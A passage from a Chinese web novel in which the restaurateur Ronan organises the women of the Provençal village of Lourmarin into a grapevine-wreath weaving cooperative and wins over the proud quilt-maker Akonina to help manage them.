送走卡福,罗南赶紧去安排做花环订单和编织饰品的工作,但是吃过上一次‘计数混乱’的亏,这次他必须把事情安排的清楚明白,因此需要一个‘负责人’。 约瑟芬有极强的编织天赋,但让她担起这个重任是不实际的那会让她惶恐不安。 这个位置的最佳人选还是技术过硬、性格适合和妇女打交道的巴蒂。 罗南想找巴蒂好好聊聊,说服巴蒂留在卢尔马兰和他一起把编织生意做强做大,现在他们已经有一整支了解普罗旺斯市场的专业‘销售’团队了,但下午巴蒂并不在餐厅。 索性罗南要去政府咨询木工房开发税的问题,于是离开餐厅,先一步去了政府办公大楼了解情况。 虽然只是一个小小的问题,但布兰科还是亲自接待了他。 “我就是咨询一下开发税,没必要由你来亲自接待吧?”罗南有些不好意思的说,布兰科也太‘客气’了。 布兰科的态度比罗南还不好意思: “今天人手都出去了,没有粉红酒.喝咖啡可以吗?” 上一次罗南来政府,布兰科特意让一个员工跑出去买粉红酒,并且是冰镇的。 “可以可以,我喝什么都行。”罗南好奇的问,“希尔维他们都出去了?” 布兰科带着罗南去茶水间所在的方向: “是的,这几天他们不在卢尔马兰。” “干什么去了?”罗南更好奇了,倚在茶水间的门口看布兰科冲咖啡。 布兰科回头,笑着说: “我们决定把商业街上的博物馆设置成粉红酒主题,希尔维他们出去‘学习’了。” 罗南眼前一亮: “博物馆竣工了?” 博物馆是商业街上最大的‘景点’,如果它开门了,10月份那些在门口等位置的顾客肯定不会再抱怨无聊。 布兰科把冲好的第一杯咖啡递给罗南: “是的,已经装修完成,下一步要做的是主题布置,我们没有布置博物馆的经验,也不了解粉红酒,我安排他们出去好好走走看看,了解一下这个行业的现状和生态,预计明年开春前把博物馆开起来。” 他端着第二杯咖啡,指了一下茶水间里唯一的一张桌子,示意罗南坐下聊: “博物馆必须和卢尔马兰未来的特色之路紧密联系起来,这是商业街项目立项之初就定下来的事。” 罗南坐到布兰科的对面: “计划书准备的怎么样了?” 罗南指的自然是要交给沃克吕兹省旅游局申请预算的计划书。 布兰科抬头,用和煦温暖的眼神看着罗南说: “托你的福,我越来越有信心了妇女们的手工活儿做的怎么样了?” 11月的森林大火事件给政府带来了巨大压力。 那个纵火犯烧掉的不只是树和森林,他还会烧掉一整个‘政府班子’。 在森林局、消防局、警局24小时部署的前提下,如若哪个村子所在的管辖范围内出了火灾那将是万劫不复的灾难。 布兰科想到那个月份是烧葡萄藤的高峰时期,安排人手去给农夫们做‘防火意识’培训,没成想今年卢尔马兰没有一个农夫烧葡萄藤。 他们纷纷把葡萄藤像宝贝一样存了起来。 布兰科一听更着急了。 那不更是安全隐患吗? 村里多了这么多起火点! 快让他们把葡萄藤处理掉!! 工作人员去仔细一了解,才知道这些葡萄藤都被做成了工艺品送往阿普特,并且销往了普罗旺斯各地。 即使还没来及做成花环的葡萄藤也被专业的药水浸泡过,很难再点燃了。 而这件事居然又和罗南脱不开关系! 走出家庭的妇女是计划书上的一大‘特色’,罗南使得这个‘特色’更加鲜明和耀眼——卢尔马兰的妇女们学会了一种在普罗旺斯并不常见的手艺,并且赚到了钱。 这一点在卢尔马兰11月的‘职业税’上体现最为明显,村民们的消费升级了! 一提起来这件事罗南就开心。 他把卡福和他刚刚聊的内容复述给布兰科听,他相信未来卢尔马兰的妇女们可以源源不断的拿到订单。 布兰科开心的不停拍手,看罗南的眼神越来越感激和激动。 这个小伙子凭一己之改变了整个卢尔马兰. 不过开心之余,他也给罗南带来了专业的建议: “你做的这件事非常有意义,但我建议你把这件事组织化、规模化在普罗旺斯,每一个组织都是‘守护者’,同时也是经济生态的‘隐形骨架’。” 布兰科说的事罗南从来都没想过。 这还能申请一个组织吗? 见罗南一脸错愕,布兰科更为‘推心置腹’的说: “在普罗旺斯这片土地,千百年来都有‘追根’和‘溯源’的习惯,例如标有AOC(原产地命名控制)的葡萄酒,与其他同品质的葡萄酒相比可以溢价30%-40%你有想过申请一个专业的手工组织吗?” 布兰科的建议给罗南打开了一道通往新世界的大门。 对啊,为什么不申请一个呢? 这个生意未来肯定是要做的,万一以后组织火起来了,东西不就越来越值钱了吗? “申请组织困难吗?”罗南问。 在普罗旺斯,申请机构和组织要去政府的工会办理,这件事还真是布兰科负责的。 布兰科和善的说: “这是由你发起的组织,成员全部是卢尔马兰的村民.无论有再大的困难我们都会帮助你办下来。” 你在开什么玩笑呢罗南。 在卢尔马兰,有什么事是你想办而办不成的? 再难我布兰科也会把你面前的荆棘一路铲平! 罗南和布兰科一拍即合,明天就在卢尔马兰申请一个专业的手工业组织。 为什么是明天来办,因为布兰科不懂如何操作 让一个村长亲自办这种事实在太为难他了。 布兰科说他明天会叫回来一个工作人员,帮助罗南把组织申请下来。 “村民都一点点赚到钱了,政府还不多招几个人吗?”罗南哭笑不得的问。 卢尔马兰政府的员工太少了。 20多个员工里还有一半是临时工。 规模还没有他那个餐厅大,餐厅里现在都有25个正式员工了。 布兰科一口干了手里的咖啡,心比嘴还苦。 政府没有钱啊。 又和布兰科聊了一会,罗南起身离开。 这次来政府又是收获满满。 仔细回忆了一下,似乎每次来政府都能得到不少‘好东西’,这地方以后得常来。 和布兰科聊的太开心了,到门口罗南才想起来此行的目的: “对了,我想在后院建一个木工房,大概100多平米,要交多少开发税?” 布兰科亲自把罗南送到大门外: “嗯,好问题,我最近正在考虑明年该把卢尔马兰的开发税豁免范围定在多少,今年是100平米以下无论用途全部豁免,现在村民一点点富裕起来,未来肯定会有更多动工的人.我想明年定在150平米比较合适。” 他突然压低声音问罗南: “150平米够用了吧?” “这——”罗南愣住了。 如果豁免面积在150平米以下,就不用去纠结他家后院是不是农用地了。 布兰科用力捏了几下罗南的胳膊,歉意的说: “你给卢尔马兰带来的改变太大了,但是抱歉,我现在除了感谢给不了你其他。” 罗南,请再给我一点时间。 现在我只能给你这些小恩小惠。 等明年拿到旅游局的预算,我一定‘加倍奉还’! 罗南以为要用极大的努力才能说服巴蒂留在卢尔马兰。 当然了,他刚开口的时候情况确实是这样。 当罗南说他们有一整只销售团队、未来肯定能赚到钱时,巴蒂潇洒的说,他想用有限的时间去看更多的风景、认识更多的人,明年春天要去尼斯体会大城市的风光。 但当罗南对他说,要组建一个‘手工艺组织’并希望让他做主席后巴蒂的态度开始出现变化。 他仔细询问了这个组织的成员组成和使命目标。 在罗南表达这个组织的目标,是希望帮助卢尔马兰和更多吕贝隆的妇女走出家庭、找到属于自己的社会地位后,巴蒂很快同意了下来。 他说他无法保证在卢尔马兰一直待下去,但一到两年是可以的。 第二天,巴蒂一早就去卢尔马兰政府向工会提交申请。 虽然1个自然月后组织才能正式注册完成,但巴蒂带回来了一份回执。 普罗旺斯最小的工手业联合体单位是‘合作社’,回执上‘组织名称’一栏写的是——卢尔马兰手工艺合作社。 在回执下面的主席栏,赫然写着罗南的名字。 “我不是让你做主席吗?”罗南晚上回到餐厅,看到这份回执时眼睛立马瞪大了。 他未来没有太多的精力管编织这门生意,所以才努力让巴蒂留下。 教是巴蒂教的,管是巴蒂管的,这个主席肯定是他才对! 巴蒂的酒量不太好,至少和罗南比差很多。 但今天他点了两瓶粉红酒,并且已经差不多喝完了。 他病态的白色皮变得红润,让他看起来健康多了,而巴蒂的语气也从来没有这么开心过: “我留下不是为了这个组织,就像你总是要给我钱,我每次都拒绝一样,我留下是因为真心想让编织在普罗旺斯被更多人知道,也真的想帮助这些可爱的妇女.罗南,你做了两件我很想做、但没有能力做的事,我决定留下和你一起完成它。” 巴蒂高高的举起酒杯: “你真的很伟大!” 罗南好久没有拎着酒瓶子喝酒了,但他现在真的很想和巴蒂好好喝一杯: “我的老师更伟大。” 这一声老师,罗南喊的心甘情愿。 第266章 严厉的母亲 罗南很尊重巴蒂这位老师。 无论是技术能力,还是他的做人做事方法。 卡福要继续售卖花环,但样式还没有定下来。 几天前,罗南想要独立完成这件事,但了解了巴蒂的所想后,他决定拉着巴蒂一起完成它。 坦诚的讲,罗南精力有限,要做的事情太多,现在是最缺帮手的时候。 而巴蒂正是罗南所需‘伙伴’该有的样子。 罗南去阿普特买了许多种可以和葡萄藤搭配的装饰物和装饰品,之后约了一个时间和巴蒂一起做新款样式设计。 而巴蒂的反应,让罗南更加确定他那天绝不只是喊喊口号而已,他的言行是高度统一的。 “为什么不把大家叫来一起讨论呢?我认为妇女们也有设计样式的能力啊,懂得生活的人也同样是热爱生活的人,我说真的罗南.不要小瞧她们。”巴蒂无比认真和笃定的说。 罗南‘愧疚’的摇头: “在卢尔马兰,你绝对是‘平权运动’最大的领军人物,我回去就和佐伊说,不要再以此为借口不让我说话了。” 就这样,新款花环的样式成了卢尔马兰全部会编织工艺妇女们一起讨论和商量的事。 按照艺术家们的话说——罗南和巴蒂是带着妇女们一起‘脑暴’。 面对罗南和巴蒂的尊重,妇女们的第一反应是‘受宠若惊’。 她们什么时候被如此对待过啊? 缝绣被的时候,皮雷给什么花案她们绣什么花案。 绣错了,那条被子就‘废’了。 原来她们也可以决定要做的东西是什么样子的,而不是一个只懂做活儿的机器? 巴蒂的这一决定收获奇效! 妇女们拿出了她们全部的热情,积极讨论、勇敢发言,一个下午共同研究出来了三十多种花环的样式和做法。 毫不夸张的说,看了那些样式,罗南也决定要给家里挂几个。 在受宠若惊过后,妇女们的第二个反应是感激和感动。 罗南不仅免费教她们手艺,还不停的给她们订单做,在朴实的普罗旺斯妇女看来,这些都是可以用钱来具象出来的实打实的帮助。 为了表达感谢,她们会时不时的带着丈夫和孩子去餐厅给罗南‘捧捧场’。 妇女们赚了钱,罗南也赚了钱,这本该是一件皆大欢喜的事。 但村里有一个人要急的挠头喽。 “皮雷今天来你家了吗?” “来了,昨天也来了.但我真的没有时间给他做啊,花环赚的又多、罗南还对咱们好,我怎么可能回去做绣被?” “就是的,卢尔马兰谁没被皮雷在背后议论过?他那张嘴比亨利还臭,明明是来求我帮忙,说的好像是我欠他一样,他说我再不来做绣被,活儿就全部给阿克尼娜了。” “我不仅不去帮她,我还把罗姆阿扎拉来和我一起做花环了。” “你怎么这么坏啊!不仅不帮他,还挖他的人?” “这怎么能是坏呢?我和罗姆阿扎是几十年的好姐妹,有好事当然要想着她了。” “哈哈哈,你这样说也对,那我也把姆斯莱拉来和咱们一起!” 做圣诞花环订单时,卢尔马兰有100出头的妇女参与。 但到了12月中,罗南组织第二轮花环订单制作,并安排大家接触更加繁复的编织技能学习时,参与进来的妇女有将近130个。 卢尔马兰一共只有230多个成年妇女,这个数字已经超过一半了。 巴蒂教人没问题,他也愿意教,但人多了之后管理起来就有些困难了,尤其是给大家发订单时。 干了几天巴蒂人更瘦了。 合理并高效的组织卢尔马兰妇女做花环是一件挺让人头疼的事。 遇到这个情况后,罗南马上想到了皮雷。 这个家伙是如何组织妇女们井然有序的缝了几十年的绣被的呢? 在某一天晚上,罗南挖松露归来之后,带着巴蒂去了一次皮雷家,想要找他‘取取经’。 能看出卢尔马兰的居民富裕了。 因为在皮雷家的院子里停了三辆车子。 众所周知,普罗旺斯人从不修车,所以出现在这里的三辆一定是排队‘改装’的。 别管大改还是小改,反正他们有富裕的钱了。 “皮雷,看起来最近生意不错啊,赚了不少钱吧?” 罗南没在院子里看到皮雷的人,走到仓库门口才看到那标志性的大屁股撅在外面。 皮雷正在仓库里不知倒腾什么。 “我的妈呀——”皮雷吓了一大跳,从某个机器后面跑出来,一边赶人一边抱怨,“出去,快出去!这里全部是配件,丢了算你的。” 罗南坏笑着指着那台机器问: “蒸馏机也是配件,可以安到汽车上?” “什么什么?蒸馏机?!”巴蒂扒头向仓库里面看,一脸兴奋,“现在居然还有私人蒸馏机?在哪儿,给我看看是什么样子的!” 皮雷慌张的关上仓库门,死死抵在门口,语速飞快的说: “那些送来的汽车太脏了,有的时候我需要一些强力‘洗洁剂’把它们擦干净,有什么问题吗?” 在普罗旺斯提到蒸馏机,就不得不提到果渣白兰地。 没错,就是喝下一杯能让人再吃下一大块肉的普罗旺斯‘窟窿’。 从葡萄到葡萄酒这段长达几个月甚至几年的漫长旅程中,必须承受一种名叫‘摘枝机’的机器关注照料。 葡萄经这机器一扯一拉,枝梗脱落、果实裂开,才能继续前往储存桶,接着进行浸泡和发酵,同时须经压果机压榨一番,最后芳香四溢的葡萄酒汁沥出,留下浓厚如泥、近乎固体的果皮果肉渣滓,这就是‘果渣’。 果渣很难看,甚至可以用恶心来形容,除了拿来当肥料,很难想象还有什么用途。 但某一天,一个对世界酿酒业贡献极大的聪明家伙发现,果渣中残留的那一点点汁液经过蒸馏后依然可以得制得美味的酒水,这便是渣酿白兰地。 酒庄不要的垃圾里居然能变出蒸馏酒这种好事农夫们怎么舍得轻易放过? 这简直是世界一大奇迹! 而且这个奇迹还在一段时间内于普罗旺斯发展出了一套‘产业’。 化果渣为美酒需要一套蒸馏器,但不是所有人家里都有这东西,不过这不打紧。 在普罗旺斯,会有人推着装有蒸馏器的手推车,走村串户,走到哪儿就蒸馏到哪儿.车行之处,留下一张张笑脸。 大家只需要花费一点点钱,就可以蒸馏出一大桶酒。 当然了,也有人拥有私家蒸馏器,在很长一段时间里,拥有私家蒸馏器是一种财力和实力的象征。 但在1916年后,再也没有人敢以此为由吹嘘自己的实力了.并且都没人敢提这个单词。 在那一年,政府逐渐意识到,原来在普罗旺斯还有一项税收来源未加开发啊 但这怎么能行呢? 那之后,政府强势插手蒸馏酒事务,立法限定唯有登记在案的合作社之类的企业,才准生产蒸馏酒,否则一律是违法的。 更有被动了‘蛋糕’者,时刻注意着每一滴蒸馏酒的动向,写举报信比他们自己酿酒还积极! 这样一来,流动蒸馏器很快消失在大众的视野中。 即使有人还留有私人蒸馏器,也会解释那是装饰品,而非供私家酿酒用。 当然了,那是老实人才会用的借口。 皮雷这种嘴比脑子跑的还快人,定然是想到什么说什么了。 “怎么?你们不知道50度以上的酒擦玻璃很好用吗?”皮雷继续理直气壮的说。 罗南笑着平摊双手,示意他别紧张: “不如我们换个地方聊?一直在仓库门口,我怕给你造成太多压力。” 皮雷给仓库上了三道锁后,才带罗南和巴蒂来到他存放修车工具的小工作间里,并没有邀请客人进屋: “我妻子和两个女儿在缝绣被,我们进去说话会影响她们的进度,在这聊别嫌弃啊。” 罗南表示无所谓,开门见山的说: “皮雷,我这次是想来问问你,你以前是怎么管理那些妇女的?可以和我们分享些经验吗?我想你应该知道了我最近在教她们做其他的东西。” 皮雷那微乎其微的心虚心理荡然无存,气的差点跳起来,暴躁的说: “你这小子还敢来和我提这件事?你知道我最近的日子过的多难吗?一个月30条被子都收不上来啦,我都要急死了!” 罗南和皮雷曾经朝夕相处过半个月改车,也算是熟人。 他嬉皮笑脸的说: “别激动,要我说你也别做绣被了,跟我去做花环吧,弗拉基妮说你的手比女人还巧,村子里只有阿克尼娜比你厉害,你去编花环肯定赚的更多,怎么样?” 皮雷冷哼一声: “绣被是卢尔马兰传承了几百年的特色手艺,是祖先留给我们的宝贵财富,我绝对不可能放弃它,只要我还在,只要阿克尼娜还在,绣被就会一直存在于卢尔马兰。” 你这老小子是不想放弃每张被子的100法郎差价吧.罗南在心中腹诽起来。 虽然是这样想着,但他还是用非常真诚的语气向皮雷发去邀请: “绣被是马赛的特色手艺,不是卢尔马兰的.我们完全可以拥有一套属于自己的特色手工艺,相信我,那不一定比你做绣被‘中枢’赚的少,现在还是起步阶段,处处都是机遇和机会,变通一下啊皮雷。” “不可能,绝对不可能!”皮雷把帽子摘掉,露出光秃秃的脑袋,“休想让我放弃绣被!!” 皮雷的嘴比村中心老教堂门口的喇叭还管用。 不到两天,罗南去皮雷家说服他做花环的消息就传的人尽皆知。 当然了,传言中的皮雷是一个‘受害者’。 他说罗南‘逼’着他放弃老祖宗传下来的几百年手艺,去做那个什么编织。 听到这样的传言,村民们只是笑一笑,并给予致命一击: “亨利的嘴都消停了,皮雷的嘴就没人能管管吗?罗南去劝他是给他脸了!给脸不要脸的家伙!!” 罗南对于皮雷的‘执拗’也没有办法。 想扭转他们这几个绣被核心人物的思想不是那么容易的。 不过罗南也没有什么立场扭转。 爱来不来,我还求着你赚钱吗? 只是管理妇女们的方法,要他和巴蒂慢慢探索和精进了。 罗南向皮雷抛去橄榄枝,被丢了回来。 但卢尔马兰绣被界最核心的人物、康奈尔的母亲阿克尼娜在某一天突然到访了罗南家。 请注意,是罗南家而不是餐厅。 罗南请阿克尼娜进屋时一脸疑惑。 这位严厉的母亲来找我是什么事呢? 第267章 谁说橄榄枝只有一根? 康奈尔是卢尔马兰家教最好的农夫。 他性格好,懂礼貌,有一定文化程度,人也积极向上。 而这一切都离不开他母亲阿克尼娜的教育。 这位卢尔马兰最厉害的绣被手艺人,同时也是村里最严厉的母亲。 小时候小朋友间互相去对方家玩是非常常见的事,但没有一个小孩敢去康奈尔家玩因为他们都很害怕康奈尔的母亲,她总是不苟言笑。 听说每当阿克尼娜教育康奈尔和他的几个姐姐,家门口的小猫小狗都会躲得远远的。 当然了,严厉的家教也带了许多好处。 康奈尔是罗南身边最努力的农夫。 不种地的时候,他会主动找其他事情做,在家里休息的时候也会帮母亲缝绣被。 最近,他除了去森林砍伐矮木丛,还会抽时间帮罗南给几个餐厅送松露,一个人赚三份钱,从不叫苦,也从不叫累。 除了有一点好色,并且对阿斯特丽德念念不忘外,罗南在康奈尔身上挑不出任何毛病。 可能是想到了康奈尔小时候的经历,罗南也把自己带入成了康奈尔小时候的玩伴,见到阿克尼娜居然也有些‘害怕’了。 罗南把这位卢尔马兰‘德高望重’的长辈请到沙发上,解释道: “最近家里在施工,您别介意。” 暖气施工进已进入尾声,马上就要竣工调试,但这个阶段的家里更乱了。 巴黎一家人已经习惯了这种居住环境,但招待客人就有些不好意思了。 阿克尼娜是典型的吕贝隆妇女,她们说话直接坦荡,从来不会藏着掖着,但并没有坏心思: “我想你家需要一次彻底的大扫除,这里的确太脏了,如果需要人手可以让康奈尔来帮你。” “好的。”罗南像乖学生一样认真的听着。 阿克尼娜没有让罗南揣度太久,很快表明了来意。 她打开怀里带来的大的包袱,里面露出一床面积不大,但图案精美的白色棉质绣被: “这是我用闲暇时间做出来的一床小被子,我想也许你或者你的父母会喜欢。” 罗南身边没有会缝绣被的熟悉女性,这是他第一次近距离欣赏这种在普罗旺斯传承百年的手工工艺。 绣被的起源与来自埃及或印度的棉布和印花布织物有关。 它们经由马赛港抵达法国,这使得普罗旺斯成为法国第一个发现这些织物的地区。 之后马赛商人将绣被出口至地中海沿岸,例如北非和意大利等,使其成为‘法国制造’的代表性物品。 但马赛的大型手工作坊从18世纪开始衰落,绣被逐渐成为了一种家庭工艺,最初用于制作床罩、婴儿襁褓或宗教服饰,之后也是法国南部家庭嫁妆的象征。 “很美。”这床绣被是白色的,罗南不舍得上手摸,只是抬头好奇的问阿克尼娜,“但您为什么要把它送给我?” 虽然这床绣被小,但图纹并不常见。 集市上的绣被图案多是橄榄枝、薰衣草、蜜蜂或十字架等宗教符号,而这床绣被显然有一定‘设计’的元素在,且花纹更加繁复。 罗南猜这床小被子放到集市上的价格可能不止400法郎。 阿克尼娜把它收好,小心翼翼的放到身边的沙发上: “你给康奈尔介绍了工作,我几次让他找个机会好好感谢你,但康奈尔说你们是朋友,特意感谢没有必要不过我认为这些礼数是不能省下的,请你收下吧。” 罗南笑着说: “康奈尔说的没有错,我们是朋友,朋友之间互帮互助是应该的,阿克尼娜,您把东西收起来吧,我和康奈尔之间确实不需要这些。” 阿克尼娜没有收起东西的意思,更加坦诚的说: “我知道其他村民会经常去你的餐厅吃饭,而我们家一次没去过但康奈尔是个很能吃苦的孩子,也很踏实,希望你能多给他些机会。” 罗南表情变幻起来。 原来阿克尼娜这一趟是为了康奈尔而来 早在夏天,村里就在传——罗南做什么都赚钱,在他身边能学到东西,肯定也能跟着赚钱。 当然了,这话说的也没毛病。 可能是因为那些接到花环订单的妇女们经常拖家带口的在罗南的餐厅里出没,让阿克尼娜有了危机感,她担心罗南会为此‘冷落’了康奈尔,所以才拿着礼物上门。 阿克尼娜不只是一位严厉的母亲,也同时是一位疼爱孩子的母亲啊。 既然这样,罗南更不能收东西了: “其他村民去我的餐厅只是为了向我表达感谢,您应该知道最近我在组织她们做编织品。” 阿克尼娜叹了一口气: “正是因为这个原因,我才必须来这一趟。” 她看着罗南说: “康奈尔劝过我很多次,让我去做花环,是我自己的原因拒绝了,跟他没有关系。” 真是处处为康奈尔着想啊罗南在心中感叹了一句。 他顺着这个话题问阿克尼娜: “那我能问问,您为什么不想做花环吗?我没有任何其他意思,是指纯好奇,康奈尔肯定和您说过我收花环的价格吧?” 直接坦荡的阿克尼娜居然迟疑了,显然她并不想回答这个问题。 罗南也没有逼她,很有礼貌的安慰: “没关系,不想说就算了,不过请您放心,我知道康奈尔还没有属于自己的地,所以您对他的未来格外担心,之后我一定会想着他的。” 康奈尔家没有属于自己的农田,需要找土地主签订‘佃农’合同。 不过直至今日,康奈尔都没有找到愿意把地交给他打理的人,今年秋天他一直跟着皮埃尔和法比安干。 不过这并不是长久之计,如果一直找不到信任他的人,迟早要饿肚子。 罗南在卢尔马兰的地位不比布兰科低,甚至他给的保证更加让村民放心。 限制布兰科的东西太多,他无法代表一整个卢尔马兰政府,但罗南是可以做自己的决定。 他说会想着康奈尔,就一定会想着康奈尔。 阿克尼娜向罗南投去感激的目光: “康奈尔交了一个好朋友。” 阿克尼娜来罗南家的目的是送礼,不送出去坚决不会离开。 罗南知道如果今天不收下,这位操心的母亲很难放下心来。 但绣被的价值不是多少钱,而是耗费了多少时间。 这种至少要用8天才能做出来‘奢侈品’,比村民们去餐厅吃一顿饭‘值钱’多了。 那是一个妇女三分之一个月的收入啊! 这周卢尔马兰集市结束后,罗南拉着满满一车东西去康奈尔家。 水果和零食塞给康奈尔姐姐的孩子,说让他多吃点长身体。 蔬菜和肉直接搬进厨房,借口说餐厅今天菜进多了,吃不完浪费。 最后,罗南还把一兜子海鲜亲自交到阿克尼娜的手里: “过些日子我要让康奈尔去替我办点事,给他补补,你们跟他一起吃啊,我买的多。” 罗南生怕阿克尼娜和他拉扯,放下东西就要开车跑。 但阿克尼娜还是追出来,她站在罗南面前,语气复杂的说: “我现在理解,为什么皮雷加价也叫不回来人了,不只是因为花环更赚钱,还因为你是个更好的‘老板’。” 其实阿克尼娜对罗南的印象没有多好。 因为康奈尔认识罗南后,变得没有那么‘脚踏实地’了。 虽然这个微胖的小伙子还在任劳任怨的同时做好几份工作,但他口中的梦想和目标在阿克尼娜看来越来越不切实际。 你只是一个吕贝隆山村里普普通通的小伙子,赚大钱,买好车,娶城里漂亮老婆是你该想的事情吗? 阿克尼娜固执的认为,儿子的改变都是罗南带来的。 但罗南又的确能帮康奈尔赚到钱所以这位平时不苟言笑,且在卢尔马兰妇女中地位超群的妇女还是去罗南家送了一次礼。 那一床绣被价值500法郎,但罗南回给她的东西远远超过这个价格。 同时罗南还不忘向阿克尼娜保证——请不要担心,我会给康奈尔安排事情做的。 试问只会在背后给人造谣的皮雷怎么和罗南比? 但阿克尼娜确实有无法割舍绣被的原因。 这位卢尔马兰最严肃的母亲在罗南面前展露出了另外一面。 她昂着头颅,语气自然的说: “我8岁开始跟着母亲学习绣被,10岁可以独立做活,在同龄人只知道玩的时候我去了马赛的工坊,后来场子倒闭,我回到卢尔马兰,自那之后我的名字就和绣被紧密的联系在了一起,大家提到绣绣被就会想到我阿克尼娜——” 阿克尼娜突然看向罗南的眼睛,似自嘲又似询问道: “如果我不再做绣被,大家还知道阿克尼娜是是谁吗?” 阿克尼娜的话让罗南想到一句中国谚语——宁做鸡头,不做凤尾。 话可能有点糙,但道理是同样的。 在卢尔马兰,阿克尼娜就是绣被的代名词,而且提到她一定会想到她高超的绣被工艺。 被这样夸赞了几十年,她何尝不是另一个‘骄傲的卢卡斯’? 卢尔马兰的那些做绣被的妇女,又何尝不是卢卡斯眼中的‘小老弟’们呢? 阿克尼娜也很难低下头啊. “如果您的顾虑只有这个,我可以很负责任的说,即使您不做绣被,大家也一定知道阿克尼娜是谁。”罗南语气坚定的回。 “什么意思?”阿克尼娜迷茫的问。 现在轮到罗南叹气了: “实不相瞒,我们现在正缺一个‘领军人物’呢。” 皮雷这老小子把罗南抛过去的橄榄枝扔了,那罗南就再折一根送给别人! 巴蒂的身形肉眼可见的瘦了。 罗南通过培养他热爱吃饭养出来的那二两肉,全让卢尔马兰的这100多名妇女折腾没了。 每一次进的装饰物数量有限,虽然卡福说做多少花环他都能收,但那也要分批来,为了便于管理和计数,每次妇女们能分到的数量是固定的。 但大家都想多赚点钱,一到发装饰物的日子全部是在巴蒂周围‘吹耳边风’的人。 巴蒂又是个对女士严厉不起来的人,都要愁秃了。 罗南买来的装饰物全部存到了巴蒂家里。 “不是说好这次只给你5套吗?因为你上次拿的多,你拿了8套。”他和某个妇女交涉。 那妇女笑着说: “可你上上次给我的少啊。” 巴蒂回忆道: “那是因为那个时候你刚刚学,做的慢,我肯定不能给你太多。” “对啊,那我现在已经学会了,不得多给我几个?” “不行不行,我已经分好了,这样一改,其他的又乱了。” “我现在真的做的很快了,你就多给我两套吧,求求你了.” 这人的问题还没解决,其他妇女的问题接踵而至,巴蒂求饶似的说: “一个一个来,你们都说我也听不清啊。” “巴蒂,我给你带来了一位新学生。”突然,罗南带着阿克尼娜出现在巴蒂的院子里。 妇女们惊讶的瞪大眼、张开嘴。 阿克尼娜要学编织了? 卢尔马兰变天了!! 罗南离着很远就听到了院子里女人们说话的声音,他附在阿克尼娜的耳边,小声说道: “这就是我上次去皮雷家想要求助的问题” 这些女人都要把巴蒂欺负死了! 阿克尼娜回给了罗南一个别担心的眼神,之后她搬了一把藤编凳子坐到巴蒂身边: “我来学编织。” 巴蒂求助的看向罗南。 罗南抬了一下下巴,示意他该干什么干什么。 于是巴蒂歉意的对阿克尼娜说: “请稍等一下,我处理完手上的事情就教您。” 之后他转头对身边的妇女说: “你的五套,快拿走吧。” 那妇女压低声音说: “你就再多给我——” “才几天就忘了规矩?”阿克尼娜突然冷漠的开口,“上家给多少做多少,什么都按照你们的想法来,这生意是你们的还是罗南的?” 她看着那群妇女,严厉的说: “卢尔马兰只是换了一个手工活做,以前是什么样,现在还是什么样。” “好的,阿克尼娜。”妇女们纷纷点头称是。 她们一辈子活在阿克尼娜的‘阴影’下做绣被,没人敢顶撞这位传奇妇女。 而且阿克尼娜除了是绣被的代名词,还是严厉的代名词。 这一下午,巴蒂过的无比舒心。 自从阿克尼娜坐到院子里,妇女们乖的不成样子,拿了东西就走,多一个单词都不说了。 他把罗南拉到屋里,激动无比的问: “罗南,院子里那位冷峻的可爱女士可以每天都来学习吗?” 罗南笑着拍了拍他的肩膀: “那是我给你找的帮手,以后编织的事情你们两个商量着来就行。” 巴蒂专业、富有耐心。 阿克尼娜在村里有威望,而且能管住这些妇女。 有这两个人在,编织这个生意罗南终于可以放心了! 当天晚上,康奈尔回到家,见罗南送了那么多东西来,饭都顾不上吃就紧张的跑到餐厅找罗南。 “我妈妈她.是不是说你什么了?”康奈紧张又歉意的问。 康奈尔知道母亲去了罗南家,但他不知道那天发生了什么。 而且母亲阿克尼娜不止一次说康奈尔变了,还说是被罗南影响的。 他很怕自己那位严厉的母亲是去罗南家‘问罪’的。 “没有,阿克尼娜怎么会说我什么呢?”罗南笑着说,“我们现在可是合作关系了。” “啊?”康奈尔探头,“什么合作?” 罗南意外的问: “一到家就出来了?都没和你妈妈打招呼?” 康奈尔擦了擦额头上跑出来的汗: “我看到你送来了东西马上就过来了,我妈妈真的没有为难你?” 罗南摇头: “真没有,过一阵子你忙完森林的活儿,我想给你安排个别的事情干,所以给你提前送点吃的补补,你快回家吃饭吧,海鲜凉了就不好吃了。” 一听罗南又要给自己活儿干,康奈尔马上笑了,听话的转头就走: “好,那我先回去了。” 刚走两步,罗南又在后面叫了他一声。 康奈尔回头,罗南对他说: “你有一个好妈妈,以后对她好点。” 康奈尔不知道罗南为什么会突然说这个,但还是点头答应下来: “一定!” 骄傲的阿克尼娜已经在罗南的劝说下,低下了头,迎接新的挑战。 而骄傲的卢卡斯又将在什么时候放下他的自尊心呢? “阿嚏——”卢卡斯打了一个喷嚏。 12月中旬,天气愈发凉了。 卢卡斯看了一眼躺在沙发上的玛格丽特,发现她蜷缩到了一起,似乎是觉得冷。 家里本来有一个专门给玛格丽特用的电暖器,年初被特奥借走了。 卢卡斯想打电话让特奥送来,但想到特奥白天还有班上,也不知道现在回没回家。 而且自从错失了卡庞特拉特色松露集市后,他的心情就一直挺差的,不喜欢在家里待着,总想出去换换心情。 于是他拿起车钥匙离开家,开车去往了特奥家的方向。 “好久没去那边了,上次去特奥家,罗南正在翻修厨房呢.” 卢卡斯不禁想起上一次去弟弟家的情形。 第268章 奇迹的转移 卢卡斯家和特奥家在卢尔马兰村的两个方向,一个在北一个在南。 如果不是去找特奥,卢卡斯都没有机会去村子的南边看看。 这次来到这个区域,他发现许多记忆中的建筑变了样子。 有的变新了、有的换了外墙颜色、有的变大了,还有几个民房印象里从来没见过,应该是大翻新了一次。 “今年卢尔马兰到底修了多少房子?”卢卡斯越开越惊讶。 和房子相关的工程预算都不便宜,在以前谁家要修房子或者扩建,是全村都会去围观的大事。 现在变得这么稀疏平常了吗? 几分钟后,卢卡斯把车停到了特奥家的门口。 不出卢卡斯的意外,这个时间特奥果然还没回家,不过特奥的妻子丽贝卡说,特奥应该就快回来了。 但让卢卡斯意外的是,特奥家非常温暖,温度比他家高多了。 如果卢卡斯家有这个温度,玛格丽特绝对不会蜷缩到一起。 “今年房间里怎么这么热?”卢卡斯问丽贝卡。 以前特奥家冷的跟个大冰窖一样,有的时候安娜冬天都要去奶奶家住。 这个时候卢卡斯才意识到,他这个懒惰的弟弟今年居然没编各种借口找他‘借’过钱? 丽贝卡笑着说: “特奥担心安娜冷,给家里买了好几组电暖器,我都怕安娜在这么热的房间里一出去会生病,但特奥就是要让它们一直开着。” 